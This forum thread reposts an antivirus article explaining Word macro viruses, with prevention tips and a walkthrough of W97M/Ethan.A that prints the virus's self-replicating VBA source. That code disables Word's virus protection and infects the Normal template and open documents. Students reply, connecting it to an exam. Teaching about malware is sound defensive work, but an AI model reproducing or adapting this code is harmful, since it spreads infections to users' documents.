查看: 1225|回复: 8
收起左侧

Word 宏病毒防治--宏病毒

[复制链接]
发表于 2008-6-12 08:12:50 | 显示全部楼层 |阅读模式 <
宏是Word 里一个非常有用的工具,但也是Word 的安全漏洞之一。有一些恶意的人利用宏制造宏病毒,给别人带来麻烦。宏病毒是一种寄存在文档或模板的宏中的计算机病毒。一旦打开这样的文档,宏病毒就会被激活,转移到计算机上,并驻留在 Normal 模板上。从此以后,所有自动保存的文档都会“感染”上这种宏病毒,而且如果其他用户打开了感染病毒的文档,宏病毒又会转移到他的计算机上。
1 宏病毒
宏病毒已经成为发展最快和传播最迅速的病毒。美国国际计算机安全协会ICSA 的《ICSA 1998 病毒流行调查报告》表明宏病毒独占 1998 年十大病毒感染事件的72%,在十大病毒中占了五席交椅: WM/Concept、WM/Cap、WM/Wazzu、WM/Npad 和XM/Laroux。根据 DataFellow 公司每天特征码升级的F-Macro 所检测到的宏病毒数目,至1998 年12 月达到了3,332 个,而在1997 年12 月才是1,821 个,增长率为83.0%。而且F-Macro 并不能检测到所有宏病毒。在1998 年12 月出现了Word Class Object 的宏病毒,是由VicodinES 编写的。
1.1 宏病毒
许多应用程序都允许在用户的数据库中包含一些宏,随着应用软件的进步,宏语言的功能也越来越强大,其中微软的Word Visual Basic for Application(VBA)已经成为应用软件宏语言的标准。利用宏语言,可以实现几乎所有的操作,还可以实现一些应用软件原来没有的功能。每个模板或数据文件中,都可以包含宏命令。
有不少应用软件允许用户利用宏修改软件菜单的功能,并可以将某一个宏加入到菜单中或设置成自动运行的命令。利用这个功能,宏就可以修改软件本身的功能,从而将软件本身修改为病毒传播的源泉。
宏病毒就是利用Word VBA 进行编写的一些宏,这些宏可以自动运行,干扰用户工作,轻则降低工作效率,重则破坏文件,使用户遭受巨大损失。
一旦打开含有宏病毒的文档,其中的宏就会被执行,于是宏病毒就会被激活,转移到计算机上,并驻留在Normal 模板上。从此以后,所有自动保存的文档都会“感染”上这种宏病毒,而且如果其他用户打开了感染病毒的文档,宏病毒又会转移到他的计算机上。
宏病毒成为传播最快的病毒,其原因有三个:第一,现在用户几乎对可执行文件病毒和引导区病毒已经有了比较一致的认识,对这些病毒的防治都有一定的经验,许多公司、企业对可执行文件和磁盘的交换都有严格的规定。但对宏病毒的危害还没有足够的认识,而现在主要的工作就是交换数字文件,因此使宏病毒得到迅速传播。第二,现在的查病毒、防病毒软件主要是针对可执行文件和磁盘引导区设计的,一般都假定数据文件中不会存在病毒,而人们相信查病毒软件的结论,从而使隐藏在数据文件中的病毒成为漏网之鱼。第三,CD-ROM 和Interenet 使病毒的传播速度大大加快。
如果某个文档中包含了宏病毒,我们称此文档感染了宏病毒;如果Word 系统中的模板包含了宏病毒,我们称Word 系统感染了宏病毒。
Word 2000 无法扫描软盘、硬盘或网络驱动器上的宏病毒(要得到这种保护,需要购买和安装专门的防病毒软件)。但当打开一个含有可能携带病毒的宏的文档时,它能够显示宏警告信息。这样就可选择打开文档时是否要包含宏,如果希望文档包含要用到的宏(例如,单位所用的定货窗体),打开文档时就包含宏。如果您并不希望在文档中包含宏,或者不了解文档的确切来源。例如,文档是作为电子邮件的附件收到的,或是来自网络或不安全的Internet 节点。在这种情况下,为了防止可能发生的病毒传染,打开文档过程中出现宏警告提示时最好选择【取消宏】。
Word 软件包安装后,系统中包含有关于宏病毒防护的选项,其默认状态是允许【宏病毒保护】复选框。如果愿意,可以终止系统对文档宏病毒的检查。当Word 显示宏病毒警告信息时,清除【在打开带有宏或自定义内容的文档时提问】复选框。或者关闭宏检查:单击【工具】菜单中的【宏】命令,再从级联菜单中选择【安全性】命令,出现【安全性】对话框,选择【安全级】选项卡,将安全级别设为【无】。不过一般建议用户不要取消宏病毒防护功能,否则会失去这道防护宏病毒的天然屏障。
1.2 宏病毒示例
为了更好地理解宏病毒, 我们仔细分析一下宏病毒 W97M/Ethan.A。
下面是该病毒的代码。
  1. Private Sub Document_Close()
  2. On Error Resume Next
  3. s = ActiveDocument.Saved
  4. Application.EnableCancelKey = Not -1
  5. With Options: .ConfirmConversions = 0: .VirusProtection
  6. = 0: .SaveNormalPrompt = 0: End With
  7. Randomize
  8. If Dir("c:\ethan.___", 6) = "" Then
  9. Open "c:\ethan.___" For Output As #1
  10. For i = 1 To MacroContainer.VBProject.VBComponents.Item
  11. (1).CodeModule.CountOfLines
  12. a = MacroContainer.VBProject.VBComponents.Item
  13. (1).CodeModule.Lines(i, 1)
  14. Print #1, a
  15. Next i
  16. Close #1
  17. SetAttr "c:\ethan.___", 6
  18. End If
  19. If Dir("c:\class.sys") <>"" Then Kill "c:\class.sys"
  20. If NormalTemplate.VBProject.VBComponents.Item
  21. ( 1 ) .CodeModule.Lines ( 1, 1 ) <>"rivate Sub
  22. Document_Close()" Then
  23. Set t = NormalTemplate.VBProject.VBComponents.Item(1)
  24. ElseIf ActiveDocument.VBProject.VBComponents.Item
  25. ( 1 ) .CodeModule.Lines ( 1, 1 ) <>"rivate Sub
  26. Document_Close()" Then
  27. Set t = ActiveDocument.VBProject.VBComponents.Item(1)
  28. Else
  29. t = ""
  30. End If
  31. If t <>"" Then
  32. Open "c:\ethan.___" For Input As #1
  33. If LOF(1) = 0 Then GoTo q
  34. i = 1
  35. Do While Not EOF(1)
  36. Line Input #1, a
  37. t.CodeModule.InsertLines i, a
  38. i = i + 1
  39. Loop
  40. q:
  41. Close #1
  42. If Rnd < 0.3 Then With Dialogs
  43. ( wdDialogFileSummaryInfo ) : .Title = "Ethan
  44. Frome": .Author = "EW/LN/CB": .Keywords =
  45. "Ethan": .Execute: End With
  46. If Left(ActiveDocument.Name, 8) <>"Document" Then
  47. ActiveDocument.SaveAs
  48. FileName:=ActiveDocument.FullName
  49. End If
  50. If ActiveDocument.Saved <>s Then ActiveDocument.Saved
  51. = s
  52. End Sub
复制代码
W97M/Ethan.A 是一种寄生型宏病毒,由一个宏组成,能够感染 Word 系统中的文档和模板。在感染过程中,W97M/Ethan.A 使用一种特殊的算法,从自己的源文件向宿主文件传送病毒代码,在源文件中存放的是以VBA 代码形式存放的病毒程序。一旦感染成功,W97M/Ethan.A 会删除自身的有关文件,隐藏踪迹,并将感染所有访问过的Word 文件。
在被感染的Word 文件中,大概有三成几率的文件属性会被病毒更改,其标题会被改为“Ethan Frome”,而作者会被改为“EW/LN/CB”。如果发现上述特征,则说明此文档已被W97M/Ethan.A 宏病毒感染。
对已感染的文档进行操作,可能会出现以下问题:
(1)在存储文档时,无法以Word 文档格式存储,而只能存储为 Word 模板格式。
(2)在打开文档时,Word 系统会向用户询问文档的开启密码,否则无法访问该文件。
(3)在清除了宏病毒之后,仍然看不到Word 系统中的某些命令或选项,它们可能已被宏病毒删除。



此文章摘选自  瑞星反病毒资讯网

[ 本帖最后由 无为 于 2008-6-12 00:21 编辑 ]
 楼主| 发表于 2008-6-12 08:13:52 | 显示全部楼层 <
这是针对昨天会计模拟考试时的一个考题的相关知识。。。。
发表于 2008-6-12 09:25:51 | 显示全部楼层 <
:yct040) :yct039)
发表于 2008-6-12 10:09:47 | 显示全部楼层 <
哦,是对会计考试的,我们学校目前还没出现这种情况吧。。。。。
 楼主| 发表于 2008-6-12 10:17:10 | 显示全部楼层 <
宏病毒是在20世纪90年代中后期很流行的病毒,现在一般的杀毒软件都可以查杀。

而且宏病毒是只有在使用了带有宏功能的软件中的宏才会被感染,比如我们所熟悉的WORD、EXCEL等,但是我们日常工作中很少有人会用到宏,而且大多数人都不知道怎么使用宏,所以,这种病毒一般很少被感染。。。。
发表于 2008-6-12 10:22:56 | 显示全部楼层 <
哦。。。。
发表于 2008-10-25 15:56:01 | 显示全部楼层 <
病毒源码```` 看不懂啊 `
`
解释下````
发表于 2008-10-29 11:39:36 | 显示全部楼层 <
宏....
相当于批处理一样的东西.
只不过语法和应用不一样罢了.
发表于 2008-10-29 11:42:28 | 显示全部楼层 <
原帖由 zhanghu 于 2008-10-25 15:56 发表
病毒源码```` 看不懂啊 `
`
解释下````


没研究过宏..
只看懂了一句,很经典的一句..俗称"容错"
On Error Resume Next
也就是"遇过错误仍继续"...

QQ|Archiver|手机版|小黑屋|删帖指引|阳新新阳网 ( 鄂ICP备19013424号-2|42022202000111 )

GMT+8, 2024-9-27 21:21 , Processed in 0.332242 second(s), 26 queries .

Powered by Discuz! X3.5

© 2001-2024 Discuz! Team.